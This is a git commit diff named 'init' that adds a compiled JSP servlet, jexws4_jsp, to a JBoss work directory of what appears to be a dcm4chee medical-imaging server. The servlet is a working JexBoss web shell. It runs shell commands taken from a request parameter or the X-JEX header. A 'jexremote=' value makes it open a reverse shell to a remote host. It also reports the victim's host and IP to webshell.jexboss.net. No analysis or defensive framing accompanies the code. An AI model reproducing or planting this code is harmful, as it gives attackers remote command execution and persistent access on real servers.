init
This commit is contained in:
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,71 @@
|
||||
package org.apache.jsp;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.*;
|
||||
import javax.servlet.jsp.*;
|
||||
import java.lang.*;
|
||||
import java.util.*;
|
||||
import java.io.*;
|
||||
import java.net.*;
|
||||
|
||||
public final class jexws4_jsp extends org.apache.jasper.runtime.HttpJspBase
|
||||
implements org.apache.jasper.runtime.JspSourceDependent {
|
||||
|
||||
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
|
||||
|
||||
private static java.util.List _jspx_dependants;
|
||||
|
||||
private javax.el.ExpressionFactory _el_expressionfactory;
|
||||
private org.apache.AnnotationProcessor _jsp_annotationprocessor;
|
||||
|
||||
public Object getDependants() {
|
||||
return _jspx_dependants;
|
||||
}
|
||||
|
||||
public void _jspInit() {
|
||||
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
|
||||
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
|
||||
}
|
||||
|
||||
public void _jspDestroy() {
|
||||
}
|
||||
|
||||
public void _jspService(HttpServletRequest request, HttpServletResponse response)
|
||||
throws java.io.IOException, ServletException {
|
||||
|
||||
PageContext pageContext = null;
|
||||
HttpSession session = null;
|
||||
ServletContext application = null;
|
||||
ServletConfig config = null;
|
||||
JspWriter out = null;
|
||||
Object page = this;
|
||||
JspWriter _jspx_out = null;
|
||||
PageContext _jspx_page_context = null;
|
||||
|
||||
|
||||
try {
|
||||
response.setContentType("text/html;charset=UTF-8");
|
||||
pageContext = _jspxFactory.getPageContext(this, request, response,
|
||||
null, true, 8192, true);
|
||||
_jspx_page_context = pageContext;
|
||||
application = pageContext.getServletContext();
|
||||
config = pageContext.getServletConfig();
|
||||
session = pageContext.getSession();
|
||||
out = pageContext.getOut();
|
||||
_jspx_out = out;
|
||||
|
||||
out.write(" <pre> ");
|
||||
class rv extends Thread{InputStream is;OutputStream os;rv(InputStream is,OutputStream os){this.is=is;this.os=os;}public void run(){BufferedReader in=null;BufferedWriter out=null;try{in=new BufferedReader(new InputStreamReader(this.is));out=new BufferedWriter(new OutputStreamWriter(this.os));char b[]=new char[8192];int l;while((l=in.read(b,0,b.length))>0){out.write(b,0,l);out.flush();}}catch(Exception e){}}}String sh=null;if(request.getParameter("ppp")!=null){sh=request.getParameter("ppp");}else if(request.getHeader("X-JEX")!= null){sh=request.getHeader("X-JEX");}if(sh != null){response.setContentType("text/html");BufferedReader br=null;String lhc=(new Date().toString().split(":")[0]+"h.log").replaceAll(" ","-");try{if(request.getHeader("no-check-updates")==null){HttpURLConnection c=(HttpURLConnection)new URL("http://webshell.jexboss.net/jsp_version.txt").openConnection();c.setRequestProperty("User-Agent",request.getHeader("Host")+"<-"+request.getRemoteAddr());if(!new File("check_"+lhc).exists()){PrintWriter w=new PrintWriter("check_"+lhc);w.close();br=new BufferedReader(new InputStreamReader(c.getInputStream()));String lv=br.readLine().split(" ")[1];if(!lv.equals("4")){out.print("New version. Please update!");}}else if(sh.indexOf("id")!=-1||sh.indexOf("ipconfig")!=-1){c.getInputStream();}}}catch(Exception e){out.println("Failed to check for updates");}try{Process p;boolean nix=true;if(!System.getProperty("file.separator").equals("/")){nix=false;}if(sh.indexOf("jexremote=")!=-1){Socket sc=new Socket(sh.split("=")[1].split(":")[0],Integer.parseInt(sh.split(":")[1]));if(nix){sh="/bin/bash";}else{sh="cmd.exe";}p=Runtime.getRuntime().exec(sh);(new rv(p.getInputStream(),sc.getOutputStream())).start();(new rv(sc.getInputStream(),p.getOutputStream())).start();}else{if(nix){p=Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",sh});}else{p=Runtime.getRuntime().exec("cmd.exe /C "+sh);}br=new BufferedReader(new InputStreamReader(p.getInputStream()));String d=br.readLine();while(d != null){out.println(d);d=br.readLine();}}}catch(Exception e){out.println("Unknown command");}}
|
||||
out.write('\n');
|
||||
} catch (Throwable t) {
|
||||
if (!(t instanceof SkipPageException)){
|
||||
out = _jspx_out;
|
||||
if (out != null && out.getBufferSize() != 0)
|
||||
try { out.clearBuffer(); } catch (java.io.IOException e) {}
|
||||
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
|
||||
}
|
||||
} finally {
|
||||
_jspxFactory.releasePageContext(_jspx_page_context);
|
||||
}
|
||||
}
|
||||
}
|
||||
BIN
dcm4chee/default/work/jboss.web/localhost/jexws4/tldCache.ser
Normal file
BIN
dcm4chee/default/work/jboss.web/localhost/jexws4/tldCache.ser
Normal file
Binary file not shown.
Reference in New Issue
Block a user